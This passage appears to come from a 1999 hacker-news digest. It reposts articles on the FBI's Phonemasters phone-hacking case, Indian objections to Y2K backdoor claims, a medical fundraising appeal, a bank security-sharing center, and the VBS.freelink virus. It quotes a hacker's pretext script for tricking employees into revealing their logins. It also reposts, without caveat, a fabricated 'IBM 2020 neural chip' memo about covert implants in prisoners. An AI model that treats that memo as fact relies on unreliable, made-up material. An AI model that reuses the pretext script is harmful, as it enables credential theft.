presentencing investigation. During a hearing on the matter, Mr. Lindsley’s attorney tried to argue that the FBI had wildly overstated the $1.85 million in losses that her client’s hacking had allegedly caused. But in the end, Judge Buchmeyer rejected the argument and sentenced him to 41 months in prison. Mr. Bosanac, in the meantime, has asked that his sentencing hearing be moved to San Diego, where he lives. As for Mr. Cantrell, Judge Buchmeyer lauded his “acceptance of guilt.” He could have been sentenced to three years in federal prison; instead he was given two. He reports to federal prison in January of next year. Mr. Morris, meanwhile, has used his data-tap method in several other cases; he also travels around the country and the world advising law-enforcement agencies on how to conduct state-of-the-art investigations of hacker crimes. Copyright © 1999 Dow Jones & Company, Inc. All Rights Reserved. ZDNet; (Note: this also appeared in last weeks issue -Ed) -------------------------------------------------------------- This story was printed from ZDNN, located at http://www.zdnet.com/zdnn. -------------------------------------------------------------- Unplugged! The biggest hack in history By John Simons, WSJ Interactive Edition October 1, 1999 8:54 AM PT URL: http://www.antionline.com/ DALLAS -- In a federal courtroom here, Calvin Cantrell stands silently, broad shoulders slouched. His lawyer reads from a short letter he has written: "My parents taught me good ethics, but I have departed from some of these, lost my way sometimes," the letter states. "I was 25 and living at home. No job, and no future... . All I ever really wanted was to work with computers." Cantrell certainly did work with computers -- both his own, and, surreptitiously, those of some of the largest companies in the world. He was part of a ring of hackers that pleaded guilty here to the most extensive illegal breach of the nation's telecommunications infrastructure in high-tech history. And sitting behind him in court as he was sentenced two weeks ago was the accountant-turned-detective who caught him: Michael Morris. A decade earlier, Morris, bored with accounting work, left a $96,000 job at Price Waterhouse and enrolled in the FBI academy, at $24,500 a year. Cantrell's sentencing was the final act in a five-year drama for Morris, and secured his reputation as the FBI's leading computer gumshoe. The tale of Morris and Cantrell is among the first cops-and-robber stories of the New Economy, involving, among other things, the first-ever use of an FBI "data tap." It illustrates how the nation's law-enforcement agencies are scrambling to reinvent their profession in a frantic effort to keep pace with brilliant and restless young hackers. Unlimited potential for harm The story also shows that hacking's potential harm is far more ominous than theft of telephone credit-card numbers. Cantrell was part of an eleven-member group dubbed "The Phonemasters" by the FBI. They were all technically adept twentysomethings expert at manipulating computers that route telephone calls. The hackers had gained access to telephone networks of companies including AT&T Corp., British Telecommunications Inc., GTE Corp., MCI WorldCom (then MCI Communications Corp.), Southwestern Bell, and Sprint Corp. They broke into credit-reporting databases belonging to Equifax Inc. and TRW Inc. They entered Nexis/Lexis databases and systems of Dun & Bradstreet, court records show. The breadth of their monkey-wrenching was staggering; at various times, they could eavesdrop on phone calls, compromise secure databases, and redirect communications at will. They had access to portions of the national power grid, air-traffic-control systems and had hacked their way into a digital cache of unpublished telephone numbers at the White House. The FBI alleges, in evidence filed in U.S. District Court for the Northern District of Texas, that the Phonemasters had even conspired to break into the FBI's own National Crime Information Center. Unlike less-polished hackers, they often worked in stealth, and avoided bragging about their exploits. Their ultimate goal was not just fun, but profit. Some of the young men, says the FBI, were in the business of selling the credit reports, criminal records, and other data they pilfered from databases. Their customers included private investigators, so-called information brokers and -- by way of middlemen -- the Sicilian Mafia. According to FBI estimates, the gang accounted for about $1.85 million in business losses. "They could have -- temporarily at least -- crippled the national phone network. What scares me the most is that these guys, if they had had a handler, whether criminal or state-sponsored, could have done a lot of damage," says Morris. "They must have felt like cyber gods." Some may be still at large With the exception of Cantrell, none of the defendants in the Phonemasters case would comment on the matter. Others are thought to remain at large. This is the story of Cantrell and two accomplices largely put together from federal district court records and FBI interviews. Morris first learned of the group in August 1994, when he got a phone call from a Dallas private investigator, saying Cantrell had offered to sell him personal data on anyone he wished. He even offered a price list: Personal credit reports were $75; state motor-vehicle records, $25; records from the FBI's Crime Information Center, $100. On the menu for $500: the address or phone number of any "celebrity/important person." Morris immediately opened an investigation. Only 33-years-old at the time, he had taken an annual pay cut to join the FBI just five years earlier. He had been a tax consultant at Price Waterhouse, and despised the work. "I was young and making the big bucks, but every morning I would think 'God, I don't want to go to work.' " Tall, square-jawed and mustachioed, Morris began working on white-collar crimes when he arrived at the Dallas FBI field office. He took on a few hacker cases and realized he liked the challenge. "These guys are not the kind who'll rob the convenience store then stare right into the security camera," he says. "Trying to be the Sherlock Holmes of the Internet is hard when the fingerprints on the window can be so easily erased." Morris convinced the private investigator to meet with Cantrell while wearing an audio taping device. After reviewing the tapes, he was certain that he was onto something big. He applied for and received court authority to place a digital number recorder on Cantrell's phone lines, which would log numbers of all outgoing calls. It showed that Cantrell frequently dialed corporate telephone numbers for AT&T, GTE, MCI, Southwestern Bell and Sprint. Cantrell had also placed calls to two unlisted numbers at the White House, which further piqued Morris's interest. So, late that summer, Morris took an unprecedented step. He began writing a 40-page letter to the FBI's Washington headquarters, the Department of Justice and the federal district court in Dallas. Recording Cantrell -- now his central suspect -- while on the phone wasn't sufficient for the job that faced him, he believed. Instead, he needed new federal powers. He asked for Washington's permission to intercept the impulses that traveled along Cantrell's phone line as he was using his computer and modem. "It's one of the hardest techniques to get approved, partly because it's so intrusive," says Morris, who spent the next month or so consulting with federal authorities. "The public citizen in me appreciates that," he says. Still, the long wait was frustrating. "It took a lot of educating federal attorneys," he says. Once authorities said yes, Morris faced another obstacle: The equipment he needed didn't exist within the FBI. Federal investigators had experimented with a so-called data-intercept device only once before in a New York hacker case a year earlier. It had failed miserably. Morris and technicians at the FBI's engineering lab in Quantico, Va., worked together to draft the specifications for the device Morris wanted. It would need to do the reverse of what a computer's modem does. A modem takes digital data from a computer and translates it to analog signals that can be sent via phone lines. Morris's device would intercept the analog signals on Cantrell's phone line and convert those impulses back to digital signals so the FBI's computers could capture and record each of a suspect's keystrokes. Alerting the victims While waiting for the FBI to fit him with the proper gear, Morris contacted several of the telephone companies to alert them that they had been victimized. The reception he got wasn't always warm. "It's kind of sad. Some of the companies, when you told them they'd had an intrusion, would actually argue with you," he said. GTE was an exception. Morris discovered that Bill Oswald, a GTE corporate investigator, had opened his own Phonemasters probe. Oswald and Morris began working together and uncovered another of Cantrell's schemes: He and some friends had managed to get their hands on some telephone numbers for FBI field offices. They entered the telephone system and forwarded some of those FBI telephones to phone-sex chat lines in Germany, Moldavia and Hong Kong. As a result of the prank, the FBI was billed for about $200,000 in illegal calls. Morris also learned that on Oct. 11, 1994, Cantrell hacked GTE's computer telephone "switch" in Monticeto, Calif., created a fake telephone number and forwarded calls for that number to a sex-chat line in Germany. The FBI isn't sure how Cantrell convinced people to call the number, but court records show that Cantrell received a payment of $2,200 from someone in Germany in exchange for generating call traffic to the phone-sex service. In early December 1994, Morris's "analog data-intercept device" finally arrived from the FBI's engineering department. It was a $70,000 prototype that Morris calls "the magic box." On Dec. 20, Morris and other agents opened up their surveillance in an unheated warehouse with a leaky roof. The location was ideal because it sat between Cantrell's home and the nearest telephone central office. Morris and nine other agents took turns overseeing the wiretap and data intercepts. The agents often had to pull a tarp over their workspace to keep rain from damaging the costly equipment.As middle-class families go, the Cantrells seem exemplary. Calvin's father, Roy, was a retired detective who had once been voted "Policeman of the Year" in Grand Prairie, the suburb west of Dallas where they live. His mother, Carol, taught Latin and English at Grand Prairie High School, where Calvin graduated in 1987 with above-average grades. As a student, he was no recluse. He had a small circle of friends who shared his love of martial arts, video games and spy movies. Cantrell's longtime friend, Brandon McWhorter, says Calvin was always a fun-loving guy, but there was one thing about which he was very serious. "He would always talk to me about religion," McWhorter says. "He held very strong religious beliefs." After high school, Cantrell continued to live at home while taking classes at the University of Texas at Arlington and a local community college. He held a series of odd jobs and hired himself out as a deejay for weddings and corporate parties. Cantrell balanced, school, work, family and friends even as he began hacking more often. His parents became suspicious, but said nothing. The family had three phones; Calvin stayed on his 15 hours a day. "They'd go in my room and see all the notes and the phone numbers. Even though they couldn't put it together technically, they knew something was up," says Cantrell. "They were kind of in denial... . My parents were pretty soft." Mrs. Cantrell says Calvin had been so well-behaved that she never suspected his computer activities were more than fun and games. "I wish I had known what was going on. Unfortunately, my son was smarter than I was." (Calvin's father passed away last year.) The hack At 8:45 on the night of Dec. 21, just four days before Christmas, Cantrell went online. Using an ill-gotten password, he entered a Sprint computer, where he raided a database, copying more than 850 calling-card access codes and other files, court records in the case show. The Phonemasters often got passwords and other key information on companies in a low-tech approach called "Dumpster diving," raiding the trash bins of area phone firms for old technical manuals, phone directories and other company papers. This often allowed Cantrell to run one of his favorite ruses -- passing himself off as a company insider. "I'd call up and say, 'Hi, I'm Bill Edwards with systems administration.' ... I'd chat with them for a while, then I'd say 'We're doing some network checkups today. Can you log off of your computer, then tell me every character you're typing as you log back on?' A lot of people fell for that," Cantrell says. After hacking into the Sprint database that evening, Cantrell talked to another hacker, Corey Lindsley, over the phone. He'd "met" Lindsley, and another hacker, John Bosanac, in 1993 while surfing the murky world of hacker bulletin boards. Cantrell then sent the copied files to Lindsley, who was a student at the University of Pennsylvania in Philadelphia. Morris's equipment captured everything -- voice and data. It was an FBI first. "We're sitting in this place that looked liked a bomb pit, but the atmosphere was really exciting," says Morris. "We were ecstatic." As the days passed, the FBI wiretap generated stacks upon stacks of audiotapes and data transcripts. Some was just idle talk among friends, the occasional call to finalize dinner plans, lots of workaday chatter. But the incriminating evidence mounted. "It's great, you know. I really love fraud," joked Bosanac, a Californian who was musing with Cantrell about the various technical methods of using other people's cellular telephone accounts to place free calls. "Fraud is a beautiful thing." Family conversations even entered the investigation. On Jan. 7, for instance, Cantrell called his mother from a friend's house and asked her find an MCI manual on his shelf. He then asked her to read him a set of directions for accessing MCI's V-NET computer system. Mrs. Cantrell read the material but asked her son whether he was supposed to have the book, citing warnings that stated its contents were restricted to MCI employees. Cantrell just avoided his mother's question. The FBI data-tap captured every word. Taking a toll Still, the process took its toll on the FBI team, especially coming during the holidays. "It was stressful that the wiretap was going 24 hours a day, seven days a week. I had to write up the legal documents, and it's tough making people work through Christmas," Morris said. On top of that, he had to keep records of his findings, and every 10 days he had to reapply to the court to prove that his wiretap was yielding evidence. By late January, the FBI had begun to get a clear profile of Cantrell and his hacker friends. Lindsley, it appeared, was the group's acerbic leader, directing much of the hacking activity. Over phone lines, the FBI heard him bragging about how he had given a Pennsylvania police department "the pager treatment" in retaliation for a speeding ticket he received. Lindsley had caused the police department's telephone number to appear on thousands of pagers across the country. The resulting flood of incoming calls, Lindsley bragged, would surely crash the department's phone system. They also enjoyed collecting information about film stars, musicians and other famous people. Cantrell has admitted that he broke into President Clinton's mother's telephone billing records in Arkansas to obtain a list of unpublished White House numbers. The men, says the FBI, even made harassing phone calls to rock star Courtney Love and former child actor Danny Bonaduce using pilfered numbers. They weren't without fear of getting caught. On the evening of Jan. 17, for instance, there was a clicking on the phone line as Bosanac, Cantrell, and Lindsley shared a three-way conference call. "What the hell happened?" asked Bosanac, according to an FBI transcript of the conversation. "That was the FBI tapping in," laughed Cantrell. "Do you know how ironic that's gonna be when they play those tapes in court?" Lindsley said. "When they play that tape in court and they got you saying it was the FBI tapping in?"On Jan. 18, the FBI overheard Cantrell, Bosanac and Lindsley on another conference call. With the other two men giving directions, Cantrell dialed his computer into Southwestern Bell's network and copied a database of unlisted phone numbers. The three men then discussed plans to write a computer program that could automatically download access codes and calling-card numbers from various telephone systems. They also talked about the chance that the FBI would one day track them down. "Just remember, nobody f-- rats anybody out," said Lindsley to the others. "No deals." "Yeah, no deals is right," replied Bosanac. "No deals. I'm serious. I don't care what your f-- lawyers tell you," said Lindsley. Cantrell said nothing. Transferred codes to Canada Later that morning, between 5:09 and 7:36, Cantrell entered Sprint's computer system and downloaded about 850 Sprint calling-card codes. He then transferred those codes to a man in Canada. The codes would allow anyone who purchased them to place free international phone calls. Morris would later learn that a contact in Canada paid Cantrell $2 apiece for each code, court records show. The Phonemasters most likely did not know -- or care -- where the codes ended up, but the FBI traced them and found some ended up in the hands of a Sicilian Mafia operative in Switzerland. On Jan. 23, while probing a U S West telephone database, Cantrell, Bosanac, Lindsley and others stumbled over a list of telephone lines that were being monitored by law enforcement. On a lark, they decided to call one of the people -- a suspected drug dealer, says Morris -- and let him know his pager was being traced by the police. On Jan. 27, the group was clearly feeling paranoia about being caught, prompting Lindsley to tell his accomplices to pull as many Sprint codes as quickly as they could. Cantrell began to have reservations. "What if I stopped before all of y'all?" Cantrell asked Lindsley. "Would you applaud my efforts?" "No," said Lindsley. "I don't think there's any reason to stop. What are you worried about?" "Uh, I'm not worried about anything. I'm just saying, uhm. There might ... there might come a time here where I don't have time for this." He added a little later: "I, you know, really like it. But, I don't know, I just ... Eventually, I don't see myself doing a lot of illegal things." Lindsley continued to prod Cantrell to speed up the download of stolen codes by spending more time online and using two phones. "I'm telling you, you run two lines around the clock," Lindsley said. "You can't run them around the clock," said Cantrell. "Why not?" "Oh, come on. I think that's pushing it too hard." "I think you just got a weak stomach there, boy." Tension rises By late February, things began to get tense. One of Cantrell's hacker friends informed him that his number had shown up in a database of phone numbers being monitored by the FBI. In all the excitement of burglarizing databases and rerouting phone calls, the Phonemasters had neglected to check their own phone lines for any signs that law enforcement might be listening in. Morris hastily arranged for an FBI raid. On Feb. 22, 1995, agents raided Cantrell's home, Lindsley's college dorm room, and burst into Bosanac's bedroom in San Diego. For Morris, the climactic raid was only the start of a long battle to bring the hackers to justice. Because of the complicated nature of his evidence gathering, it took him more than two years to compile the most salient portions of the wiretap transcripts and data-tap evidence. "All the documents and tapes from this case could fill a 20-by-20 room," Morris explains. "And at the time, I was the only computer investigator for all of Texas." In the meantime, as federal prosecutors slowly geared up for a trial, Cantrell tried to get on with his life. "I spent the first few weeks after the raid being paranoid and wondering what would happen," he says. Occasionally, Morris and other agents would call him, asking questions about some of the systems he had hacked. By the summer of 1995, at the urging of his mother, Cantrell started attending church again. He scored the first in a string of professional computing jobs, doing systems-administration work for a company called Lee Datamail in Dallas. He neglected to tell his employers about the FBI case. "It's been mental torture for the last four years, not knowing," says Cantrell. "Can I go to school, move to another state? That kind of thing messes with your head." Over time, Cantrell says he had come to seriously regret what he had done and the $9,000 he says he made from selling codes wasn't worth the trouble. "Looking back, it was all crazy. It was an obsession. I wanted to see how much I could conquer and a little power went to my head." Cantrell notes that he has since tried to make amends, even helping the phone companies plug their security holes and helping the FBI gather more information on some of the group's members who haven't yet been apprehended. The matter finally seemed near conclusion this March when Morris was able to play "a couple of choice tapes" in separate meetings with Cantrell, Bosanac and Lindsley. Afterward, all three agreed to plea guilty to federal charges of one count of theft and possession of unauthorized calling-card numbers and one count of unauthorized access to computer systems. Chief Judge Jerry Buchmeyer ordered a presentencing investigation. During a hearing on the matter, Lindsley's attorney tried to argue that the FBI had wildly overstated the $1.85 million in losses that her client's hacking had allegedly caused. But in the end, Judge Buchmeyer rejected the argument and sentenced him to 41 months in prison. Bosanac, in the meantime, has asked that his sentencing hearing be moved to San Diego, where he lives. As for Cantrell, Judge Buchmeyer lauded his "acceptance of guilt." He could have been sentenced to three years in federal prison; instead he was given two. He reports to federal prison in January of next year. Morris, meanwhile, has used his data-tap method in several other cases; he also travels around the country and the world advising law-enforcement agencies on how to conduct state-of-the-art investigations of hacker crimes. @HWA 05.0 India Objects to Comments From Vatis ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com contributed by seano Indian officials have strongly objected to comments made by Michael Vatis, head of the National Infrastructure Protection Center (NIPC). Vatis indicated that Y2K code fixes by Indian programers may be riddled with back doors and logic bombs. The chairman of the Indian government's Y2K Action Force called the statements 'utterly ridiculous'. Reuters - Via ABC News http://www.abcnews.go.com/wire/US/reuters19991001_638.html WIRE:10/01/1999 04:45:00 ET India Slams U.S. Talk On Y2K-Linked Security Fears NEW DELHI (Reuters) - Indian officials Friday slammed as ridiculous a suggestion by U.S. officials that Indian Y2K (Year 2000) software firms could have been used to smuggle in computer codes aimed at threatening Washington's security. Michael Vatis, the top cyber cop in the Federal Bureau of Investigation (FBI), told Reuters Thursday that malicious code changes under the guise of Y2K modifications had begun to surface in some U.S. work undertaken by foreign contractors. The claim signaled possible economic and security threats. Vatis, who heads the National Infrastructure Protection Center (NIPC), gave no details. But Terrill Maynard, a Central Intelligence Agency officer assigned to the NIPC, said in a recent article that India and Israel appeared to be the "most likely sources" of malicious code. The article appeared in the June issue of Infrastructure Protection Digest. "I think this is an utterly ridiculous assertion...without, as far as I can see, any basis whatsoever," said Montek Singh Ahluwalia, chairman of the Indian government's Y2K Action Force. "I have no idea if this report is factually correct and if indeed a responsible officer has made what appears to be an irresponsible statement," Ahluwalia told Reuters. He said the Indian government had not received any official communication to suggest wrongdoing by Indian firms or agencies. The CIA declined to comment on Maynard's article. Referring to it, Vatis said: "This is our effort to put out in the public information that hopefully can be useful to people." Indian firms have done more than $2 billion worth of coding work to protect old computers whose date-fields denoted years only by the last two digits. Unless rectified, such computers can cause valuable data crashes when the year 2000 dawns. India and Israel have had differences with the United States on security matters, particularly on nuclear policy. "TOO MUCH AT STAKE" Dewang Mehta, president of India's National Association of Software and Service Companies (NASSCOM), cited several reasons to dismiss suggestions Indian firms may be a security threat. He told Reuters that too much was at stake for India's booming software companies, which have used Y2K as a strategy to gain long-term clients. Besides, Indian firms did the bulk of Y2K work at U.S. sites under client supervision, he added. "We cannot visualize that any moles have been planted. This is absurd. For us, too much is at stake," Mehta said. He said Indian firms had also carried out "regression testing," which was aimed at ensuring Y2K programming work did not hamper other software in client systems. Vatis said it was "quite easy" for an outsider to code in ways of gaining future access or causing something to "detonate" down the road. This could expose a company to future "denial of service attacks," open it to economic espionage or leave it vulnerable to malicious altering of data, he said. Vatis said that so far "not a great deal" of Y2K-related tampering had turned up. But a U.S. Senate panel said last week that long-term consequences of using foreign firms for Y2K work could include more espionage and reduced information security. Mehta said he heard during a recent visit to Israel a rumor about a computer virus designed to wipe out Y2K solutions. "I am afraid as only three months are left and many American systems are not compliant, this kind of global rumor-mongering is beginning to happen," he said. We all think we should guard ourselves against it. NASSCOM strongly condemns such rumors." Maynard noted Ireland, Pakistan and the Philippines among nations whose firms did significant Y2K repair. He said they were "least likely" to harm U.S. systems but did not rule out threat possibilities. Copyright ©1999 ABC News Internet Ventures. All rights reserved. This material may not be published, broadcast, rewritten or redistributed in any form. Please click here for legal restrictions and terms of use applicable to this site. Use of this site signifies your agreement to the terms of use. @HWA 06.0 Bill Cheek Diagnosed with Cancer Still Faces Charges ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com Stolen from Strong Signals Bill Cheek, editor of the "Experimenters Workshop" column in Monitoring Times and author of a series of books on scanner modifications was just diagnosed with incurable lung cancer at the end of September. If treatment is not begun aggressively and rapidly, doctors give him about 3-4 months. Charges brought against him in a New York federal court last spring -- related to his scanner business -- are currently being heard before the Grand Jury. Though always a controversial figure, there is no disputing the fact that Bill has devoted his life to the love of radio and technology. Strong Signals http://www.strongsignals.net/htm/newsflsh.htm#100199 Bill Cheek Update October 1, 1999 Thanks to Larry Van Horn for the following details! An appeal to Monitoring Times readers and friends of Bill Cheek: Bill Cheek, editor of the "Experimenters Workshop" column in Monitoring Times and author of a series of books on scanner modifications was just diagnosed with incurable lung cancer at the end of September. If treatment is not begun aggressively and rapidly, doctors give him about 3-4 months. Bill says, "research on lung cancers is ever on-going ... My doctor said that even a year ago, my case would not have been treatable at all. Now they can offer me a 4-6 months extension." The problem is, Bill does not have medical insurance. He is self-employed at Comtronics and has two daughters in college. Furthermore, charges brought against him in a New York federal court last spring -- related to his scanner business -- are currently being heard before the Grand Jury. Bill intends to fight the cancer, but he could use your help. Bill welcomes your prayers on behalf of him and his family. If you have knowledge or feedback on the latest cancer research and developments, Bill would appreciate hearing from you. Expressions of concern are welcome, but he'll have little energy for personal replies. You can also help with your contributions. A trust fund has been set up by friends and family to which you may contribute toward medical expenses. Here are the details: Contributions for Bill Cheek can be made through Union Bank of CA. Checks can be made out to either: Bill or Cindy Cheek Cynthia Cheek trustee for William D. Cheek, Sr. Funds should be sent to: Union Bank of California Acct# 0771354719 8359 Mira Mesa Blvd San Diego, CA 92126 Attn: Rhonda or Kevin Smith (619) 230-3800 OR Bill and Cindy Cheek PO Box 262478 San Diego, CA 92196 Though always a controversial figure, there is no disputing the fact that Bill has devoted his life to the love of radio and technology. We at Monitoring Times ask that you give this appeal the widest circulation among your radio friends. As fellow hobbyists, let's show our appreciation by giving generously. 73 Larry Van Horn @HWA 07.0 The IBM 2020 Neural Implant Chip ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Contributed by TRDonJuan The IBM 2020 Neural Chip Implant Intelli-Connection A Security Division of IBM 1200 Progress Way Armonk, New York 11204 October 20, 1995 LIMITED DISTRIBUTION ONLY LEVEL 9 COMMUNICATION 2020 NEURAL CHIP IMPLANT The control of crime will be a paramount concern in the 21st century. We must be ready with our security products when the demand for them becomes popular. Our Research and Development Division has been in contact with the Federal Bureau of Prisons, the California Department of Corrections, the Texas Department of Public Safety, and the Massachusetts Department of Correction to run limited trials of the 2020 neural chip implant. We have established representatives of our interests in both management and institutional level positions within these departments. Federal regulations do not yet permit testing of implants on prisoners, but we have entered into contractual agreements with privatized health care professionals and specified correctional personnal to do limited testing of our products. We have also had major successes with privately owned sanitariums with implant technology. We need, however, to expand our testing to research how effective the 2020 neural chip implant performs in those identified as the most aggressive in our society. Limited testing has produced a number of results. In California, several prisoners were identified as members of the security threat group EME, or Mexican Mafia. They were brought to the health services unit at Pelican Bay and tranquilized with advanced sedatives developed by our Cambridge, Massachusetts laboratories. The implant procedure takes 60-90 minutes, depending upon the experience of the technician. We are working on a device which will reduce that time by as much as 60% [30 min]. The results of implants on eight prisoners yielded the following results: Implants served as surveillance devices to monitor threat group activity. Implants disabled two subjects during an assault on correctional staff. Universal side effects in all eight subjects revealed that when the implant was set to 116 Mhz, all subjects became lethagic and slept on an average of 18-22 hours per day. All subjects refused recreation periods for 14 days during the 166 Mhz test evaluation. Seven out of eight subjects did not exercise, in the cell or out of the cell, and five out of eight of the subjects refused showers up to three days at a time. Each subject was monitored for aggressive activity during the test period and the findings are conclusive that seven out of eight subjects exhibited no aggression, even when provoked. Each subject experienced only minor bleeding from the nose and ears 48 hours after the implant due to initial adjustment. Each subject had no knowledge of the implant for the test period and each implant was retrieved under the guise of medical treatment. It should be noted that the test period was for less than two months. However, during the period substantial data was gathered by our research and development team, which suggests that the implants exceeds expected results. One of the major concerns of Security and the R&D team was that the test subject would discover the chemical imbalance during the initial adjustment period and the test would have to be scrubbed. However, due to advanced technological development in the sedatives administered, the 48- hour adjustment period can be attributed to prescription medication given to the test subjects after the implant procedure. One of the concerns raised by R&D was the cause of the bleeding and how to eliminate that problem. Unexplained bleeding might cause the subject to inquire further about his "routine" visit to the infirmary or other health care facility. The security windfall from the brief test period was enormous. Security officials now know several strategies employed by the EME that facilitate the transmission of illegal drugs and weapons into correctional facilities. One intelligence officer remarked that while they cannot use the information they have in a court of law, they now know who to watch and what outside "connections" they have. The prison at Solidad is now considering transferring three subjects to Vacaville where we have our ongoing implant research. Our technicians have promised that they can do three 2020 neural chip implants in less than an hour. Solidad officials hope to collect information from the trio to bring a 14-month investigation into drug trafficking by correctional officers to a close. Essentially the implants make the unsuspecting prisoner a walking- talking recorder of everyone he comes into contact with. There are only five intelligence officers and the commissioner of Corrections who actually know the full scope of the implant testing. In Massachusetts, the Department of Correction has already entered into high-level discussions about releasing certain offenders into the community with the 2020 neural chip implants. Our people are not altogether against the idea, however, attorneys for Intelli- Connection have advised against implant technology outside strict control settings. Under the present governmental structure, our liability would be enormous. While we have a strong lobby in Congress and in various state legislatures favoring our product, we must proceed with the utmost caution on uncontrolled use of the 2020 neural chip. If the chip were discovered in use not authorized by law and the procedure tracted to us we could not endure for long the resulting publicity and liability payments. Massachusetts' officials have developed an intelligence branch from their Fugitive Task Force Squad that would do limited test runs under tight controls with pre-release subjects. Corrections officials have dubbed these potential test subjects "the insurance group" (the name derives from the concept that the 2020 implant insure compliance with the law and allows officials to detect misconduct or violations without question). A retired police detective from Charlestown, Massachusetts, now with the intelligence unit, has asked us to consider using the 2020 neural chip on hard core felons suspected of bank and armored car robbery. He stated, "Charlestown would never be the same; we'd finally know what was happening before they knew what was happening." We will continue to explore community uses of the 2020 chip, but our company rep will be attached to all law enforcement operations with an extraction crew that can be on-site in two hours from anywhere, at anytime. We have an Intell-Connection discussion group who is meeting with the Director of Security at Florence, Colorado's federal super maximum security unit. The initial discussions with the Director have been promising and we hope to have an R&D unit at this important facility within the next six months. Florence, Colorado has replaced Marion, Illinois as the federal prison system's ultra maximum security unit. Legislative and executive branch efforts continue to legalize the implant technology. (See Intelli- Connection Internal Memorandum No.15). End communication ... 10/20/95 Distribution: Eyes Only: Project Group 7A. @HWA 08.0 Banks to Share Info Secretly ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com contributed by Weld Pond The Financial Services Information Sharing and Analysis Center has been established by the nation's banking industry to share information anonymously about electronic threats from rogue employees, software bugs, viruses and malicious cyber intruders. Licensed banks and financial firms will pay $13,000 to $125,000 to share completely anonymous information. One of the center's strengths will be its ability to notice trends in the information gathered. Other industries, including telecommunications, oil and gas, electrical power, transportation and America's water supply system are planning similar centers. Associated Press - via Fox News http://www.foxnews.com/js_index.sml?content=/news/wires2/1001/n_ap_1001_276.sml Nation's banks create private computer security system 6.33 p.m. ET (2240 GMT) October 1, 1999 By Ted Bridis, Associated Press WASHINGTON (AP) — The nation's banking industry has quietly wired itself a $1.5 million private computer network to share information anonymously about electronic threats from rogue employees, software bugs, viruses and hackers, the Treasury Department said Friday. The Financial Services Information Sharing and Analysis Center is the result of orders from President Clinton to better protect America's most important industries from cyber attacks. It's in a secret location known to only about a half-dozen people, but it's believed to be nestled among a corridor of high-tech firms in northern Virginia. Similar centers are planned in the coming months for seven other industries, including telecommunications, oil and gas, electrical power, transportation and America's water supply system. This summer, the White House announced its plan to create a government-wide security network to protect its most important nonmilitary computers. "New threats call for new types of solutions,'' said Treasury Secretary Lawrence Summers, adding that banking officials need to learn about viruses and malicious software that disguises itself as innocuous code. Only licensed banks and other government-regulated financial firms that become subscribers will be able to exchange information or tap into this network's details of known security threats. Urgent alerts will be sent by e-mail, pager and cellular phones to a bank's experts — who will pay $13,000 to $125,000, depending on how many employees are using it. "Every day, everywhere, people are trying to break into financial institutions — and sometimes from within financial institutions — trying to take money they're not authorized to have,'' said Kawika Daguio, vice president of the Washington-based Financial Information Protection Association. Names and other identifying details will be stripped from submissions to ensure anonymity and encourage honesty — and partly so rival banks don't misuse the information and regulators can never know a specific financial institution was having problems. "Once we demonstrated that you could have an anonymous capability so you can't trace it, most institutions stood up immediately and said, `Let's go do this,''' said Bill Marlow, executive vice president for Global Integrity, the consulting company in Reston, Va., that built the center. Organizers said 16 financial institutions — with a total of $4.5 trillion in assets among them — have so far joined the network, with 500 to 1,000 more expected to join in the next 18 months. One of the center's greatest strengths, say organizers, will be its ability to notice trends: A report by one bank of a hacker sniffing around its network becomes more onerous if dozens of other banks also report noticing exactly the same technique. "Not a day goes by without seeing alerts about security, vulnerabilities in the products we use or news stories about Internet sites being compromised,'' said Steve Katz of Citigroup Inc., the center's coordinator. "What might appear to any one company as a random event might be more significant if looked at in the aggregate.'' Although the Treasury Department helped organize the center, government leaders said U.S. agencies won't eavesdrop on the threat information disclosed by banks. However, the government will volunteer details about security problems through the FBI's National Infrastructure Protection Center. "If they choose to give information to the government, that's nice,'' said Richard Clarke of the National Security Council. "The government, however, will share information with them ... both classified and non-classified information.'' comments@newsdigital.com © 1999, News America Digital Publishing, Inc. d/b/a Fox News Online. All rights reserved. Fox News is a registered trademark of 20th Century Fox Film Corp. © 1999 Associated Press. All rights reserved. This material may not be published, broadcast, rewritten, or redistributed. @HWA 09.0 Melissa's Twin Appears in Outlook ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com contributed by no0ne A virus that works in the same fashion as the Melissa Virus has shown up in Microsoft Outlook. The virus, named "VBS.freelink", requires a newer version of Visual Basic. This means that it can't penetrate or infect Windows 95. C|Net http://news.cnet.com/news/0-1006-200-429558.html Melissa-like virus reemerges in Outlook By Stephen Shankland Staff Writer, CNET News.com October 1, 1999, 3:25 p.m. PT update A computer virus that works in a similar fashion as the so-called Melissa virus has reemerged today for some users of Microsoft Outlook software. Antivirus researchers said the virus has been in existence since July and has been named VBS.freelink. In order to work, the virus requires newer versions of Windows Visual Basic programming language, which means that Windows 95 computers aren't affected, said Steve Trilling of Symantec's antivirus lab. Antivirus companies updated their virus databases to detect the Freelink virus, but the virus might still arrive undetected depending on how the software is set up. The virus slips under the radar screen of earlier versions of some antivirus software because the email attachment is a file type that is a relatively new home for viruses, Trilling said. Microsoft's Lisa Gurry said the virus can't spread unless a recipient opens the infected attachment, and urged people to practice good computer hygiene. "We recommend people install the latest antivirus software and also not open unknown attachments in email," she said. In recent months, a new category of viruses such as Melissa, Explore.zip, and Freelink have cropped up that can spread much faster than earlier viruses. These new viruses take advantage of the fact that email programs such as Outlook can be automated to broadcast virus-infected attachments. Further, Melissa, Explore.zip, and Freelink borrow email address lists from Outlook, which not only provides a ready list of recipients, but also means the virus is sent from a person likely to be known to the recipient. Antivirus company TrendMicro got a handful of reports on the virus yesterday and feared an outbreak that in fact never happened. "We geared up thinking it might be another Melissa, but it didn't happen," said TrendMicro's Dan Schrader. "We get these kind of fire drills once or twice a month." Trilling said Symantec hasn't detected a resurgence of the virus. The virus spreads by an email that contains a Visual Basic script file. If the attachment is opened, the file surreptitiously goes through a user's address book and sends the virus out like a chain mail to anyone listed in the user's address book. The email carrying the bug can be identified by the subject line, which states, "Check this." The body of the email contains this message: "Have fun with these links. Bye." Below that is a file called "links.vbs," which stands for Visual Basic script. If the file is opened by clicking on its icon, the virus runs and begins propagating. "This is not an Outlook virus," said Gurry. "It's a malicious use of Visual Basic script. There's nothing we could fix." The most recent version of Norton Antivirus is set up 